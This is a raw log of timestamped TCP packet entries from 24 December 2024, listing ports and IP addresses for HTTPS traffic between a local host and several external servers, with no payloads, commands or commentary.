Dec 24, 2024 19:28:40.219789982 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.219815969 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.219902992 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.220000982 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.220083952 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.220175028 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.230731964 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.230849028 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.230942965 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.230987072 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.231127024 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.231671095 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.231686115 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.231786013 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.231790066 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.231822014 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.232155085 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.234726906 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.234743118 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.235008001 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.235017061 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.235028982 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.235063076 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.235084057 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.235104084 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.235119104 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.235203028 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.235228062 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.275362015 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.275468111 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.304574013 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.304609060 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.304723024 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.304809093 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.304925919 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.305015087 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.305119038 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.305507898 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.305615902 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.326297045 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.333761930 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.333894014 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.333925009 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.333960056 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.334569931 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.334726095 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.334753036 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.334814072 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.335194111 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.335325003 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.335360050 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.335402012 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.337120056 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.337428093 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.337447882 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.337503910 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.337522030 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.337538958 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.337577105 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.337625027 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.337639093 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.337647915 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.337651014 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.337666035 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.337683916 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.337793112 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.337934971 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.337944984 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.337985039 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.338027954 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.338042021 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.338084936 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.338104963 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.342993975 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.343075037 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.343101978 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.343138933 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.343233109 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.343301058 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.343456030 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.343996048 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.345168114 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.345186949 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.345202923 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.345300913 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.345387936 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.345402956 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.348984003 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.349046946 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:40.349054098 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.349371910 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:40.442961931 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:41.106066942 CET	50074	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:41.106115103 CET	443	50074	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:41.106277943 CET	50074	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:41.106823921 CET	50074	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:41.106872082 CET	443	50074	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:41.114780903 CET	50075	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:41.114830971 CET	443	50075	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:41.114907026 CET	50075	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:41.115370989 CET	50075	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:41.115391970 CET	443	50075	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:41.183963060 CET	443	50071	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:41.184066057 CET	50071	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:41.184472084 CET	50071	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:41.184488058 CET	443	50071	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:41.186280012 CET	50071	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:41.186295033 CET	443	50071	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:41.959579945 CET	50079	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:41.959660053 CET	443	50079	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:41.959738970 CET	50079	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:41.960131884 CET	50079	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:41.960163116 CET	443	50079	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:42.077687025 CET	443	50071	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:42.077703953 CET	443	50071	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:42.077745914 CET	50071	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:42.077761889 CET	443	50071	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:42.077771902 CET	50071	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:42.077800989 CET	50071	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:42.078097105 CET	50071	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:42.078120947 CET	443	50071	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:42.080471039 CET	50080	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:42.080506086 CET	443	50080	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:42.080580950 CET	50080	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:42.080804110 CET	50080	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:42.080813885 CET	443	50080	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:42.108619928 CET	50081	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:42.108658075 CET	443	50081	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:42.108936071 CET	50081	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:42.109292030 CET	50081	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:42.109302998 CET	443	50081	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:42.856254101 CET	443	50074	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:42.856544018 CET	50074	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:42.856585979 CET	443	50074	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:42.856933117 CET	443	50074	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:42.857239008 CET	50074	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:42.857305050 CET	443	50074	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:42.857417107 CET	50074	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:42.857470036 CET	50074	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:42.857491970 CET	443	50074	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:42.864061117 CET	443	50075	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:42.864386082 CET	50075	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:42.864413023 CET	443	50075	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:42.864919901 CET	443	50075	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:42.865200996 CET	50075	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:42.865297079 CET	443	50075	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:42.865415096 CET	50075	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:42.865540028 CET	50075	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:42.865562916 CET	443	50075	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:42.865691900 CET	50075	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:42.865736961 CET	443	50075	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:43.400517941 CET	443	50074	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:43.400687933 CET	443	50074	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:43.400876999 CET	50074	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:43.401565075 CET	50074	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:43.401587963 CET	443	50074	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:43.481646061 CET	443	50080	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:43.481832027 CET	50080	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:43.482388020 CET	50080	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:43.482399940 CET	443	50080	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:43.484805107 CET	50080	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:43.484812021 CET	443	50080	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:43.519547939 CET	443	50075	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:43.519717932 CET	443	50075	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:43.519819021 CET	50075	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:43.520859957 CET	50075	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:43.520867109 CET	443	50075	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:43.799104929 CET	443	50079	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:43.799434900 CET	50079	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:43.799480915 CET	443	50079	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:43.800940037 CET	443	50079	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:43.801038980 CET	50079	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:43.801577091 CET	50079	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:43.801673889 CET	443	50079	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:43.802011013 CET	50079	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:43.802030087 CET	443	50079	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:43.802084923 CET	50079	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:43.802139044 CET	443	50079	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:43.848397970 CET	50079	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:43.914594889 CET	443	50081	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:43.914865971 CET	50081	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:43.914927959 CET	443	50081	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:43.916393995 CET	443	50081	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:43.916471004 CET	50081	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:43.916791916 CET	50081	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:43.916865110 CET	443	50081	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:43.917027950 CET	50081	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:43.917109966 CET	50081	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:43.917165995 CET	443	50081	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:43.957273006 CET	50081	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:44.377415895 CET	443	50080	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:44.377435923 CET	443	50080	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:44.377504110 CET	443	50080	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:44.377517939 CET	50080	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:44.377545118 CET	50080	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:44.377958059 CET	50080	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:44.377980947 CET	443	50080	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:44.378488064 CET	443	50079	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:44.378792048 CET	443	50079	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:44.378858089 CET	50079	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:44.379513025 CET	50079	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:44.379513025 CET	50079	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:44.379554987 CET	443	50079	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:44.380893946 CET	50079	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:44.407802105 CET	50087	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:44.407921076 CET	443	50087	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:44.408056021 CET	50087	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:44.408328056 CET	50087	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:44.408363104 CET	443	50087	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:44.790235043 CET	443	50081	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:44.790381908 CET	443	50081	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:44.790997982 CET	50081	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:44.791246891 CET	50081	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:44.791264057 CET	443	50081	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:44.791294098 CET	50081	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:44.791318893 CET	50081	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:45.209743977 CET	443	50003	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:45.209822893 CET	443	50003	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:45.209930897 CET	50003	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:45.211287975 CET	443	50002	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:45.211369038 CET	443	50002	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:45.211412907 CET	50002	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:45.250484943 CET	443	50005	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:45.250561953 CET	443	50005	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:45.250642061 CET	50005	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:45.252075911 CET	443	50006	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:45.252130032 CET	443	50006	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:45.252207041 CET	50006	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:45.815366983 CET	443	50087	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:45.815448046 CET	50087	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:45.815896034 CET	50087	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:45.815922022 CET	443	50087	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:45.818681002 CET	50087	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:45.818695068 CET	443	50087	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:46.668250084 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:46.668324947 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:46.668380022 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:46.668474913 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:46.668495893 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:46.668541908 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:46.669610977 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:46.669637918 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:46.697334051 CET	443	50087	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:46.697446108 CET	50087	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:46.697480917 CET	443	50087	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:46.697534084 CET	50087	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:46.697535992 CET	443	50087	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:46.697578907 CET	50087	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:46.698225021 CET	50087	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:46.698266029 CET	443	50087	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:47.485748053 CET	50094	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:47.485773087 CET	443	50094	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:47.485856056 CET	50094	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:47.486080885 CET	50094	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:47.486093044 CET	443	50094	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:48.464423895 CET	50002	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:48.464466095 CET	443	50002	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:48.464507103 CET	50003	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:48.464556932 CET	443	50003	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:48.893605947 CET	443	50094	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:48.893939972 CET	50094	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:48.894484997 CET	50094	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:48.894490004 CET	443	50094	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:48.896491051 CET	50094	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:48.896495104 CET	443	50094	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:48.896563053 CET	50094	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:48.896578074 CET	443	50094	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:48.896584034 CET	50094	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:48.896595001 CET	443	50094	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:48.896673918 CET	50094	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:48.896694899 CET	443	50094	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:48.896702051 CET	50094	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:48.896708965 CET	443	50094	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:48.896819115 CET	50094	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:48.896837950 CET	443	50094	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:48.896850109 CET	50094	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:48.896856070 CET	443	50094	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:48.897011042 CET	50094	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:48.897023916 CET	443	50094	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:48.897073984 CET	50094	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:48.897077084 CET	443	50094	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:50.455496073 CET	50005	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:50.455516100 CET	443	50005	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:50.455662012 CET	50006	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:50.455697060 CET	443	50006	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:50.539268017 CET	443	50094	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:50.539346933 CET	443	50094	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:50.539493084 CET	50094	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:50.539493084 CET	50094	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:50.539593935 CET	50094	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:50.539602041 CET	443	50094	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:50.579400063 CET	50107	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:50.579441071 CET	443	50107	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:50.579545975 CET	50107	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:50.579749107 CET	50107	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:50.579765081 CET	443	50107	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:51.589788914 CET	50110	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:28:51.589824915 CET	443	50110	20.198.119.84	192.168.2.6
Dec 24, 2024 19:28:51.589886904 CET	50110	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:28:51.591181993 CET	50110	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:28:51.591192961 CET	443	50110	20.198.119.84	192.168.2.6
Dec 24, 2024 19:28:51.977440119 CET	443	50107	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:51.977519035 CET	50107	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:51.978056908 CET	50107	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:51.978069067 CET	443	50107	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:51.979743958 CET	50107	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:51.979753017 CET	443	50107	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:52.865195990 CET	443	50107	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:52.865263939 CET	443	50107	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:52.865295887 CET	50107	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:52.865319014 CET	50107	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:52.865487099 CET	50107	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:52.865511894 CET	443	50107	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:52.866775036 CET	50117	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:52.866820097 CET	443	50117	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:52.866875887 CET	50117	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:52.867115021 CET	50117	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:52.867135048 CET	443	50117	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:53.324805975 CET	443	50023	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:53.324887037 CET	443	50023	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:53.324975967 CET	50023	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:53.432449102 CET	443	50025	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:53.432534933 CET	443	50025	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:53.432631016 CET	50025	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:53.511043072 CET	50025	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:53.511051893 CET	443	50025	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:53.511055946 CET	50023	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:53.511130095 CET	443	50023	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:53.817255974 CET	443	50110	20.198.119.84	192.168.2.6
Dec 24, 2024 19:28:53.817364931 CET	50110	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:28:53.819103003 CET	50110	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:28:53.819111109 CET	443	50110	20.198.119.84	192.168.2.6
Dec 24, 2024 19:28:53.819319963 CET	443	50110	20.198.119.84	192.168.2.6
Dec 24, 2024 19:28:53.821053028 CET	50110	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:28:53.821115971 CET	50110	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:28:53.821120024 CET	443	50110	20.198.119.84	192.168.2.6
Dec 24, 2024 19:28:53.821261883 CET	50110	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:28:53.867337942 CET	443	50110	20.198.119.84	192.168.2.6
Dec 24, 2024 19:28:54.275161982 CET	443	50117	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:54.275326967 CET	50117	443	192.168.2.6	188.245.216.205
